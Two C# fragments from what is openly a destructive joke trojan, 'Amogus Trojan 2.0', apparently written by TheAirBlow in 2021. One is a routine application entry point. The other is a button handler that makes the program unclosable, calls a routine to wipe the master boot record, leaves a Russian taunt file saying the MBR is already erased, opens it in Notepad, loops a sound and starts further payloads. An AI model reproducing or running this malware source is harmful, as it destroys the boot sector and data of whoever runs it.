public static void Main() { #if !DEBUG Failsafe.Enable(); #endif try { _SINGLE_INSTANCE_MUTEX = new Mutex(true, "{185898E6-6BA9-46F9-A381-0725E6F73321}"); if (_SINGLE_INSTANCE_MUTEX.WaitOne(100, true)) { // Setup Logging _DEBUG_LOGGING = File.Exists("debug"); Log.OnLog += LogHandler; LogHandler($"{Environment.NewLine}{String.Concat(Enumerable.Repeat('#', 140))}{Environment.NewLine}", LogLevel.Info); Log.Info("New Session"); // Start Application var app = new App(); #if !DEBUG Failsafe.Observe(app); #endif app.InitializeComponent(); app.Run(); _SINGLE_INSTANCE_MUTEX.ReleaseMutex(); } else { MessageBox.Show("Application is already running!", "ERROR", MessageBoxButton.OK, MessageBoxImage.Error); } } catch (Exception ex) { MessageBox.Show(ex.ToString(), "MAIN ERROR", MessageBoxButton.OK, MessageBoxImage.Error); if (ex.InnerException != null) { MessageBox.Show(ex.InnerException.ToString(), "MAIN ERROR", MessageBoxButton.OK, MessageBoxImage.Error); } Log.Fatal(ex); Log.Fatal(ex.InnerException); throw; } }
private async void button1_Click(object sender, EventArgs e) { // Run if (Failsafe.FailMain()) { Harmless = false; Hide(); Program.MakeUnclosable(); MBR.FuckMBR(); File.WriteAllText(@"C:\trash.txt", "Твой компьютер был заражен Amogus Trojan 2.0!\nДаже не пытайся его удалить, " + "твой MBR уже был стёрт!\n\nСоздано TheAirBlow 2021 (https://vk.com/theairblow)"); ProcessStartInfo info = new ProcessStartInfo(); info.FileName = @"C:\Windows\notepad.exe"; info.Arguments = @"C:\trash.txt"; Process.Start(info); await Task.Delay(10000); SoundPlayer s = new SoundPlayer(Resources.amogus); s.PlayLooping(); await PayloadsManager.Start(); } }